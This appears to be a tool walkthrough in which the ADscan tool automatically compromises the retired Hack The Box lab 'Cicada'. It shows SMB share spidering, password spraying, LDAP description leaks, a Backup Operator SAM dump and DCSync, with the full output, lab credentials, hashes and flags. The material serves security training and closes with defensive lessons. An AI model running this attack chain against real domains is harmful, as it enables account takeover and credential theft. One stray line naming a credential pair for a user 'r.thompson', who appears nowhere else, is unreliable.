Automatically compromise HTB Cicada using ADscan through SMB share spidering, password spraying, and domain credential dumping

Setup

Configure

Scan

Enumerate

Escalate

Lab Information

🟢Easy⏱️~5 min📂SMB Share Spidering🎯Password Spraying🗄️DCSync Credential Dump

Platform: Hack The Box
Machine: Cicada (Retired)
Difficulty: Easy
OS: Windows Server 2008 R2
Domain: cicada.htb

Prerequisites

If this is your first time using ADscan:

Follow the Getting Started guide to install ADscan.
Run adscan install to pull the ADscan runtime image.

Before starting this lab, verify your environment:

adscan check
adscan install  # if the check reports missing images or Docker issues

Ensure you also have:

An active VPN connection to the HTB network
The correct VPN interface up (typically tun0)

Attack Overview

Cicada is vulnerable to:

SMB Share Enumeration - Discover HR documents and leaked passwords with guest access
Password Spraying - Use high-confidence passwords to compromise multiple users
LDAP Metadata Abuse - Steal passwords from descriptive fields (user descriptions)
Backup Operator Abuse - Use backup-style privileges to dump local SAM and pivot to Domain Admin
DCSync Credential Dump - Extract all domain account hashes for persistence

Estimated time with ADscan: ~4-5 minutes (automatic mode)

Walkthrough

Step 1: Workspace Setup

Start ADscan and create a dedicated workspace for this lab:

adscan start

If this is your first run (no workspaces yet), ADscan will prompt you to create one.

Workspace creation (Cicada)

  ⚠ No workspaces detected.
  Enter name for a new workspace: : cicada
  ✓ Workspace 'cicada' created
  ℹ  Loading workspace data from: ~/.adscan/workspaces/cicada
  ℹ  Variables loaded from ~/.adscan/workspaces/cicada/variables.json
  ✓ Workspace data successfully processed for ~/.adscan/workspaces/cicada
  ✓ Workspace 'cicada' selected automatically as it's the only one.

Step 2: Configure Target

Set the scan parameters for Cicada:

Commands

  (ADscan:cicada ~/.adscan/workspaces/cicada) > set hosts 10.10.10.182
  (ADscan:cicada ~/.adscan/workspaces/cicada) > set iface tun0
  (ADscan:cicada ~/.adscan/workspaces/cicada) > set auto true

Output

  ✓ Hosts configured: 10.10.10.182
  ✓ Interface configured: tun0 with IP: 10.10.14.X
  ✓ Auto mode configured: True

Scope: Cicada is a multi-stage AD lab where ADscan LITE shines after you have network access to the domain controller over the HTB VPN. From that point, it automates guest HR share spidering, multi-step password spraying, Backup Operator abuse, flag capture, and DCSync.
For labs where most of the work is web, reversing, or other non-AD puzzles before any AD service is reachable, see Labs Scope & Coverage to see how ADscan fits into a hybrid workflow.

Step 3: Start Unauthenticated Scan

Launch the initial unauthenticated enumeration:

Command

  (ADscan:cicada ~/.adscan/workspaces/cicada) > start_unauth

ADscan will first attempt SMB-based discovery (null session, RID cycling) and only pivot to LDAP or authenticated actions once it has a user list or credentials.

3.1 SMB Discovery and User Enumeration

Output - SMB Discovery and RID Cycling

  ℹ  Starting host detection on 10.129.231.149...
  ℹ  Starting smb scan
  ⚠ New domain found: cicada.htb
  ✓ smb scan finished.
  ℹ  Checking for null sessions on SMB on the domain cicada.htb
  ✗ null sessions not accepted for domain cicada.htb.
  ℹ  Checking RID cycling for guest session
  ⚠ No output received from NetExec (attempt 1/3). Retrying command...
  ✓ RID cycling successful with a guest session on domain cicada.htb
  ℹ  Enumerating users by RID
        6 Users found        
  ╭───────┬───────────────────╮
  │ Index │ Users             │
  ├───────┼───────────────────┤
  │ 1     │ Administrator     │
  │ 2     │ john.smoulder     │
  │ 3     │ sarah.dantelia    │
  │ 4     │ michael.wrightson │
  │ 5     │ david.orelious    │
  │ 6     │ emily.oscars      │
  ╰───────┴───────────────────╯
  ℹ  Searching for AS-REP roastable users in domain cicada.htb
  ✗ No asreproastable users found in domain cicada.htb
  Do you want to perform password spraying on domain cicada.htb using a with_users session? [y/n] (y): n

ADscan discovers the cicada.htb domain during the initial SMB scan.
Null sessions are rejected, so it falls back to RID cycling with a guest session.
RID cycling successfully enumerates six domain users, giving a solid username list.
AS-REP roasting is attempted but no roastable users are found.
We intentionally skip immediate password spraying with the with_users session to stay closer to the real lab flow.

Output - Guest Share HR

  ℹ  Checking shares access with a null session on domain cicada.htb
  ✗ null sessions not accepted on any share of cicada.htb
  ℹ  Checking shares access with a guest session on domain cicada.htb
  ╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
  │   SMB Shares discovered on cicada.htb                                                                                                                                                              │
  │             (guest session)                                                                                                                                                                        │
  │                                                                                                                                                                                                    │
  │   Host             Share   Permission                                                                                                                                                              │
  │  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━                                                                                                                                                             │
  │   10.129.231.149   HR      READ                                                                                                                                                                    │
  │                                                                                                                                                                                                    │
  ╰────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
  Do you want to search for juicy information in the shares in domain cicada.htb with a guest session (⚠ WARNING: This will be really noisy and will saturate the network in big domains)? [y/n] (y): y
  ℹ  Searching for interesting file extensions in the shares of domain cicada.htb. This might take a while, please be patient
  ✗ No files found
  ℹ  Searching for possible passwords in the shares of domain cicada.htb. This might take a while, please be patient
  ℹ  Log saved in smb/spidering_passw.log
  ✓ Credentials found in shares:
  ╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
  │                  DOC_CREDENTIALS (1 found)                                                                                                                                                         │
  │ ┏━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━┓                                                                                                                                        │
  │ ┃      ┃                          ┃           ML ┃        ┃                                                                                                                                        │
  │ ┃    # ┃ Value                    ┃   Confidence ┃   Line ┃                                                                                                                                        │
  │ ┡━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━┩                                                                                                                                        │
  │ │    1 │ Cicada$M6Corpb*@Lp#nZp!8 │       99.90% │     10 │                                                                                                                                        │
  │ └──────┴──────────────────────────┴──────────────┴────────┘                                                                                                                                        │
  ╰────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
  ╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
  │                     Password (1 found)                                                                                                                                                             │
  │ ┏━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━┓                                                                                                                                        │
  │ ┃      ┃                          ┃           ML ┃        ┃                                                                                                                                        │
  │ ┃    # ┃ Value                    ┃   Confidence ┃   Line ┃                                                                                                                                        │
  │ ┡━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━┩                                                                                                                                        │
  │ │    1 │ Cicada$M6Corpb*@Lp#nZp!8 │       99.44% │     10 │                                                                                                                                        │
  │ └──────┴──────────────────────────┴──────────────┴────────┘                                                                                                                                        │
  ╰────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
  ✓ Credentials saved to smb/spidering/ directory:
  ℹ  - DOC_CREDENTIALS: smb/spidering/doc_credentials.json
  ℹ  - Password: smb/spidering/password.json
  ? Select a password for password spraying (sorted by ML confidence): (Use arrow keys)
  » Cicada$M6Corpb*@Lp#nZp!8                      [ML:   99.90%]

Null sessions to shares fail, but guest access is allowed to the HR share.
ADscan spiders the share and runs its ML-based secret detector over file contents.
A strong-looking candidate password Cicada$M6Corpb*@Lp#nZp!8 is found and ranked with very high confidence.
The credential is stored under smb/spidering/, so the workspace keeps a full audit trail.
This password will be reused in the next step for domain-wide password spraying.

3.3 Password Spraying and Initial Access

Output - Password Spraying (michael.wrightson)

  ℹ  Selected credential for spraying: Cicada$M6Corpb*@Lp#nZp!8
  Do you want to perform password spraying on domain cicada.htb using the selected credential? [y/n] (y): 
  ℹ  Performing password spraying on domain cicada.htb with found password...
  ℹ  Executing spraying command for cicada.htb
  ⚠ Performing the spraying on cicada.htb. Please be patient (this can take a while)
  ✓ [!] 2025/12/04 20:03:03 >  [+] VALID LOGIN:    [email protected]:Cicada$M6Corpb*@Lp#nZp!8
  ✓ Kerberos TGT created successfully
  ℹ  Kerberos ticket generated for [email protected]
  ⚠ LITE mode: 🔒  Trust enumeration requires PRO.
  ℹ  Starting authenticated enumeration for 'cicada.htb' domain.
  ℹ  BloodHound data collection for cicada.htb is starting (this might take a while in big domains)
  ℹ  Running BloodHound collector on the domain cicada.htb (this may take a while)
  ✓ BloodHound collector executed successfully on the domain cicada.htb.
  ℹ  Launching BloodHound CE suite...
  ℹ  BloodHound CE is ready!
   Access the UI at: http://localhost:8442/ui/login
  ℹ  Uploading ZIP file to BloodHound CE automatically
  ⚠ ZIP file uploaded but ingestion status unclear. Check BloodHound CE UI for details.
  ℹ  Searching for enabled computers on domain cicada.htb
   1 Enabled Computers found    
  ╭───────┬──────────────────────╮
  │ Index │ Enabled Computers    │
  ├───────┼──────────────────────┤
  │ 1     │ cicada-dc.cicada.htb │
  ╰───────┴──────────────────────╯
  ℹ  Executing port scan in domain cicada.htb (this might take a while in big domains)...
  ✓ Important port scan for the domain completed.
  ℹ  Creating a list of all enabled users for domain cicada.htb
    7 Enabled Users found    
  ╭───────┬───────────────────╮
  │ Index │ Enabled Users     │
  ├───────┼───────────────────┤
  │ 1     │ Administrator     │
  │ 2     │ Guest             │
  │ 3     │ john.smoulder     │
  │ 4     │ sarah.dantelia    │
  │ 5     │ michael.wrightson │
  │ 6     │ david.orelious    │
  │ 7     │ emily.oscars      │
  ╰───────┴───────────────────╯
  ℹ  Creating a list of admin users for domain cicada.htb
   2 Admin Users found   
  ╭───────┬───────────────╮
  │ Index │ Admin Users   │
  ├───────┼───────────────┤
  │ 1     │ Administrator │
  │ 2     │ emily.oscars  │
  ╰───────┴───────────────╯
  ℹ  Creating a list of privileged users for domain cicada.htb
  2 Privileged Users found  
  ╭───────┬──────────────────╮
  │ Index │ Privileged Users │
  ├───────┼──────────────────┤
  │ 1     │ Administrator    │
  │ 2     │ emily.oscars     │
  ╰───────┴──────────────────╯
  ℹ  Enumerating Kerberos delegations in domain cicada.htb
  ✗ No delegations found in domain.
  ℹ  Searching for ADCS in domain cicada.htb
  ✗ ADCS not found in domain cicada.htb
  ℹ  Searching for kerberoastable users in domain cicada.htb
  ✗ No kerberoastable users found in domain cicada.htb
  ℹ  The user michael.wrightson is not in the privileged list of domain cicada.htb
  Do you want to enumerate privileges for user michael.wrightson? [y/n]: n
  Do you want to perform password spraying on domain cicada.htb using a auth session? [y/n] (y): n

ADscan validates the sprayed password and logs in as michael.wrightson.
BloodHound collection and port scanning provide an overview of domain computers and topology.
Enabled and privileged user lists highlight emily.oscars as a key target.
Since michael.wrightson is not privileged, the workflow pivots to hunting for additional credentials instead of immediately exploiting AD paths.

3.4 LDAP Descriptions → david.orelious

Output - User Descriptions

  Do you want to perform password spraying on domain cicada.htb using a auth session? [y/n] (y): n
  ℹ  Searching for user descriptions in domain cicada.htb
  ✓ Moved UserDesc log to domains/cicada.htb/ldap/descriptions.log
  ╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
  │                                                                                                                                                                                                    │
  │                              User Descriptions (4 found)                                                                                                                                           │
  │  ┏━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓                                                                                                              │
  │  ┃    # ┃ Username       ┃ Description                                              ┃                                                                                                              │
  │  ┡━━━━━━╇━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩                                                                                                              │
  │  │    1 │ Administrator  │ Built-in account for administering the computer/domain   │                                                                                                              │
  │  │    2 │ Guest          │ Built-in account for guest access to the computer/domain │                                                                                                              │
  │  │    3 │ david.orelious │ Just in case I forget my password is aRt$Lp#7t*VQ!3      │                                                                                                              │
  │  │    4 │ krbtgt         │ Key Distribution Center Service Account                  │                                                                                                              │
  │  └──────┴────────────────┴──────────────────────────────────────────────────────────┘                                                                                                              │
  │                                                                                                                                                                                                    │
  ╰────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
  ✓ [+] Found 1 potential password(s) in user descriptions:
  ℹ  User: david.orelious - Password: aRt$Lp#7t*VQ!3 (confidence: 76.32%)
  ✓ Kerberos TGT created successfully
  ℹ  Kerberos ticket generated for [email protected]
  ℹ  The user david.orelious is not in the privileged list of domain cicada.htb
  Do you want to enumerate privileges for user david.orelious? [y/n]: y
  Do you want to enumerate privileges for user david.orelious on various services on hosts? (⚠ WARNING: This will saturate the network if the number of hosts in domain cicada.htb is very high) [y/n]: y
  ℹ  Starting smb privilege enumeration for user david.orelious
  ✗ smb enumeration completed for user david.orelious. No hosts with privileges found.
  ℹ  Starting winrm privilege enumeration for user david.orelious
  ✗ winrm enumeration completed for user david.orelious. No hosts with privileges found.

LDAP descriptions often contain operational notes; here one leaks david.orelious’s password in plain text.
ADscan automatically extracts that value and tests it, obtaining a TGT for david.orelious.
Privilege checks confirm he is not privileged and has no direct SMB/WinRM access advantages.
The account is still useful for expanding share access and discovering more secrets.

3.5 Shares as david.orelious → Second Password

Output - Shares as david.orelious

  Do you want to enumerate shares for user david.orelious in the domain cicada.htb? [y/n] (y): y
  ℹ  Checking shares access as user david.orelious in domain cicada.htb
  ╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
  │   SMB Shares discovered on cicada.htb                                                                                                                                                              │
  │         (david.orelious session)                                                                                                                                                                   │
  │                                                                                                                                                                                                    │
  │   Host             Share    Permission                                                                                                                                                             │
  │  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━                                                                                                                                                            │
  │   10.129.231.149   SYSVOL   READ                                                                                                                                                                   │
  │                    DEV      READ                                                                                                                                                                   │
  │                    HR       READ                                                                                                                                                                   │
  │                                                                                                                                                                                                    │
  ╰────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
  Do you want to search for juicy information in the shares in domain cicada.htb with a david.orelious session (⚠ WARNING: This will be really noisy and will saturate the network in big domains)? 
  [y/n] (y): y
  ℹ  Searching for possible passwords in the shares of domain cicada.htb. This might take a while, please be patient
  ℹ  Log saved in smb/spidering_passw.log
  ✓ Credentials found in shares:
  ╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
  │        CMD ConvertTo-SecureString (1 found)                                                                                                                                                        │
  │ ┏━━━━━━┳━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━┓                                                                                                                                                │
  │ ┃      ┃                  ┃           ML ┃        ┃                                                                                                                                                │
  │ ┃    # ┃ Value            ┃   Confidence ┃   Line ┃                                                                                                                                                │
  │ ┡━━━━━━╇━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━┩                                                                                                                                                │
  │ │    1 │ Q!3@Lp#M6b*7t*Vt │       99.99% │      8 │                                                                                                                                                │
  │ └──────┴──────────────────┴──────────────┴────────┘                                                                                                                                                │
  ╰────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
  ╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
  │                  DOC_CREDENTIALS (1 found)                                                                                                                                                         │
  │ ┏━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━┓                                                                                                                                        │
  │ ┃      ┃                          ┃           ML ┃        ┃                                                                                                                                        │
  │ ┃    # ┃ Value                    ┃   Confidence ┃   Line ┃                                                                                                                                        │
  │ ┡━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━┩                                                                                                                                        │
  │ │    1 │ Cicada$M6Corpb*@Lp#nZp!8 │       99.90% │     12 │                                                                                                                                        │
  │ └──────┴──────────────────────────┴──────────────┴────────┘                                                                                                                                        │
  ╰────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
  ╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
  │                     Password (1 found)                                                                                                                                                             │
  │ ┏━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━┓                                                                                                                                        │
  │ ┃      ┃                          ┃           ML ┃        ┃                                                                                                                                        │
  │ ┃    # ┃ Value                    ┃   Confidence ┃   Line ┃                                                                                                                                        │
  │ ┡━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━┩                                                                                                                                        │
  │ │    1 │ Cicada$M6Corpb*@Lp#nZp!8 │       99.44% │     12 │                                                                                                                                        │
  │ └──────┴──────────────────────────┴──────────────┴────────┘                                                                                                                                        │
  ╰────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
  ✓ Credentials saved to smb/spidering/ directory:
  ℹ  - DOC_CREDENTIALS: smb/spidering/doc_credentials.json
  ℹ  - CMD ConvertTo-SecureString: smb/spidering/cmd_convertto-securestring.json
  ℹ  - Password: smb/spidering/password.json
  ? Select a password for password spraying (sorted by ML confidence): (Use arrow keys)
  » Q!3@Lp#M6b*7t*Vt                              [ML:   99.99%]
   Cicada$M6Corpb*@Lp#nZp!8                      [ML:   99.90%]

With david.orelious’s access, ADscan can spider additional shares and spot PowerShell ConvertTo-SecureString usage.
The secure string reveals a new, highly ranked password Q!3@Lp#M6b*7t*Vt.
Both this and the earlier Cicada password are saved into the workspace’s smb/spidering/ JSON files.
ADscan selects the new password as the best candidate for another round of domain-wide spraying.

3.6 Second Spraying and Flag Capture

Output - Second Spraying and Flags

  ℹ  Selected credential for spraying: Q!3@Lp#M6b*7t*Vt
  ⚠ Note: 2 credentials were found. Only the selected credential will be used for automated spraying. All credentials have been saved to smb/spidering/ directory. You can manually perform password 
  spraying with the other credentials later, but be careful not to lock accounts. Wait at least 1 hour between password spraying attempts (or as specified in the password policy).
  Do you want to perform password spraying on domain cicada.htb using the selected credential? [y/n] (y): 
  ℹ  Performing password spraying on domain cicada.htb with found password...
  ℹ  Executing spraying command for cicada.htb
  ⚠ Performing the spraying on cicada.htb. Please be patient (this can take a while)
  ✓ [!] 2025/12/04 20:06:05 >  [+] VALID LOGIN:    [email protected]:Q!3@Lp#M6b*7t*Vt
  ✓ Kerberos TGT created successfully
  ℹ  Kerberos ticket generated for [email protected]
  ⚠ The user emily.oscars is in the privileged list of domain cicada.htb
  ⚠ User emily.oscars has elevated privileges in the domain (adminCount=1).
  ⚠ The user emily.oscars is a member of the Backup Operators group
  ⚠ User has winrm access to the PDC, dumping SAM through winrm
  ℹ  Dumping SAM credentials from host 10.129.231.149 in domain cicada.htb
  ⚠ Hash found from SAM dump - Local User: Administrator, NT Hash: 2b87e7c93a3e8a0ea4a581937016f341
  ✗ Logon failure for local user 'administrator' on host '10.129.231.149' via smb. Incorrect credentials.
  ℹ  Trying with domain credentials instead...
  ℹ  Kerberos ticket generated for [email protected]
  ⚠ The user administrator is in the privileged list of domain cicada.htb
  ⚠ User administrator has elevated privileges in the domain (adminCount=1).
  ⚠ The user administrator is a member of the Domain Admins group
  ╭──────────────── Domain Compromised ────────────────╮
  │                                                    │
  │  Domain cicada.htb compromised in 5.61 minute(s).  │
  │                                                    │
  ╰────────────────────────────────────────────────────╯
  ⚠ SMB/RPC port 445 is closed on the PDC. Unable to use 'net time' fallback.
  ⚠ Failed to synchronize clock with PDC 10.129.231.149
  ℹ  Obtaining flags from domain cicada.htb
                                Flags in domain cicada.htb                                 
  ╭──────┬───────────────────────────────────────────────┬──────────────────────────────────╮
  │ Type │ Path                                          │ Flag                             │
  ├──────┼───────────────────────────────────────────────┼──────────────────────────────────┤
  │ user │ C:\Users\emily.oscars.CICADA\Desktop\user.txt │ ef26403104395d504f47871b801e5694 │
  │ root │ C:\Users\Administrator\Desktop\root.txt       │ 5da453656222f948c5ebb48a7c2bb6f0 │
  ╰──────┴───────────────────────────────────────────────┴──────────────────────────────────╯
  ℹ  User flag saved to: /root/.adscan/workspaces/cicada/flags/user.txt
  ℹ  Root flag saved to: /root/.adscan/workspaces/cicada/flags/root.txt

Spraying with Q!3@Lp#M6b*7t*Vt compromises emily.oscars, a Backup Operator with WinRM access to the DC.
ADscan abuses backup-style privileges to dump the local SAM and turn the Administrator hash into Domain Admin access.
Once [email protected] is obtained, ADscan captures both flags and the domain is fully owned.

3.7 Complete Credential Dump (DCSync)

Output - DCSync

  Do you want to perform a DCSync in domain cicada.htb? [y/n]: y
  Specify the user to extract NTLM hashes from (type 'All' for all users) (Administrator): All
  ℹ  Performing DCSync for all users
  ✗ Something went wrong while executing credential extraction. Reattempting with another method...
  ✓ Found credential: cicada.htb/Administrator with hash 2b87e7c93a3e8a0ea4a581937016f341
  ✓ Found credential: cicada.htb/krbtgt with hash 3779000802a4bb402736bee52963f8ef
  ✓ Found credential: cicada.htb/john.smoulder with hash 0d33a055d07e231ce088a91975f28dc4
  ✓ Found credential: cicada.htb/sarah.dantelia with hash d1c88b5c2ecc0e2679000c5c73baea20
  ✓ Found credential: cicada.htb/michael.wrightson with hash b222964c9f247e6b225ce9e7c4276776
  ✓ Found credential: cicada.htb/david.orelious with hash ef0bcbf3577b729dcfa6fbe1731d5a43
  ✓ Found credential: cicada.htb/emily.oscars with hash 559048ab2d168a4edf8e033d43165ee5
  ✓ DCSync completed successfully.
  ℹ  Extracted 7 domain credentials.
      Extracted credentials for domain cicada.htb       
  ╭───────────────────┬──────────────────────────────────╮
  │ User              │ Credential                       │
  ├───────────────────┼──────────────────────────────────┤
  │ Administrator     │ 2b87e7c93a3e8a0ea4a581937016f341 │
  │ krbtgt            │ 3779000802a4bb402736bee52963f8ef │
  │ john.smoulder     │ 0d33a055d07e231ce088a91975f28dc4 │
  │ sarah.dantelia    │ d1c88b5c2ecc0e2679000c5c73baea20 │
  │ michael.wrightson │ b222964c9f247e6b225ce9e7c4276776 │
  │ david.orelious    │ ef0bcbf3577b729dcfa6fbe1731d5a43 │
  │ emily.oscars      │ 559048ab2d168a4edf8e033d43165ee5 │
  ╰───────────────────┴──────────────────────────────────╯

As a final step, ADscan performs a full DCSync to dump all domain account hashes.
Even if the first attempt fails, it transparently retries with a different method until extraction succeeds.
The final credential table gives a complete view of all domain users and hashes for reporting and follow‑up analysis.

Attack Chain Breakdown

Technique: SMB spidering with guest session
Outcome: ML classifier identifies strong password Cicada$M6Corpb*@Lp#nZp!8 in HR documents.

2. First Password Spray (michael.wrightson)

Technique: Domain password spraying with a single high-confidence credential
Outcome: Compromise of michael.wrightson, plus full BloodHound / user enumeration.

3. LDAP Description Leak (david.orelious)

Technique: LDAP description field hunting
Outcome: Cleartext password for david.orelious, new TGT and expanded share access.

4. PowerShell SecureString Leak (Q!3@…)

Technique: Parsing ConvertTo-SecureString usage in scripts on SYSVOL/DEV/HR
Outcome: Second strong password Q!3@Lp#M6b*7t*Vt extracted and validated.

5. Second Spray → Backup Operator → Domain Admin

Technique: Password spraying with new credential, SAM dump via WinRM, hash re-use as domain credential
Outcome: emily.oscars compromise, then [email protected] TGT and full domain control.

6. Post-Exploitation (Flags + DCSync)

Technique: Automated flag retrieval and DCSync with Administrator rights
Outcome: User and root flags stored under the Cicada workspace, plus hashes for all 7 domain accounts.

Initial Access Achieved! Credentials obtained: r.thompson:rY4n5eva

Timing Breakdown

Automatic mode (set auto True):

SMB discovery + RID cycling + guest HR spidering: ~60–90 seconds
First password spray (Cicada$…) + BloodHound collection: ~60–90 seconds
LDAP description hunting + david.orelious TGT + share spidering: ~60 seconds
Second password spray (Q!3@…) + SAM dump + flags: ~60–90 seconds
Full DCSync of 7 accounts: ~30 seconds
Total (observed): ~5–6 minutes (domain compromise banner: 5.61 minutes)

Semi-automatic mode (set auto False):

Add ~2–3 minutes for manual confirmations and branching decisions
Total (typical): ~7–9 minutes

Manual time: ~60–120 minutes | ADscan time: ~5–6 minutes

Troubleshooting

LDAP anonymous bind fails

Verify LDAP port accessibility:

nmap -p 389,636 10.10.10.182
# Should show open ports

SMB access denied

Ensure credentials are correctly formatted:

# In ADscan
creds show
# Verify no encoding issues with passwords

Clock skew errors

Synchronize time with target DC:

sudo ntpdate 10.10.10.182
# Kerberos requires time sync within 5 minutes

Key Learning Points

What ADscan Automated

Reconnaissance: SMB host detection, RID cycling, and guest share spidering
Initial Access: Password discovery in HR documents and LDAP descriptions
Lateral Movement: Password spraying to compromise multiple user accounts
Privilege Escalation: Abuse of Backup Operator privileges and SAM dumping
Post-Exploitation: DCSync-based credential harvesting for all domain accounts

Security Lessons

LDAP hardening: Disable anonymous binds and restrict readable attributes
Descriptive fields: Avoid storing passwords or hints in user descriptions or comments
Secure storage: Never store passwords in scripts, documents, or logs in cleartext
Backup privileges: Backup Operators effectively hold powerful lateral-movement and privilege-escalation capabilities
Defense detection: Monitor for unusual password spraying, share spidering, and DCSync activity

🐛 Cicada - Auto-Pwn Walkthrough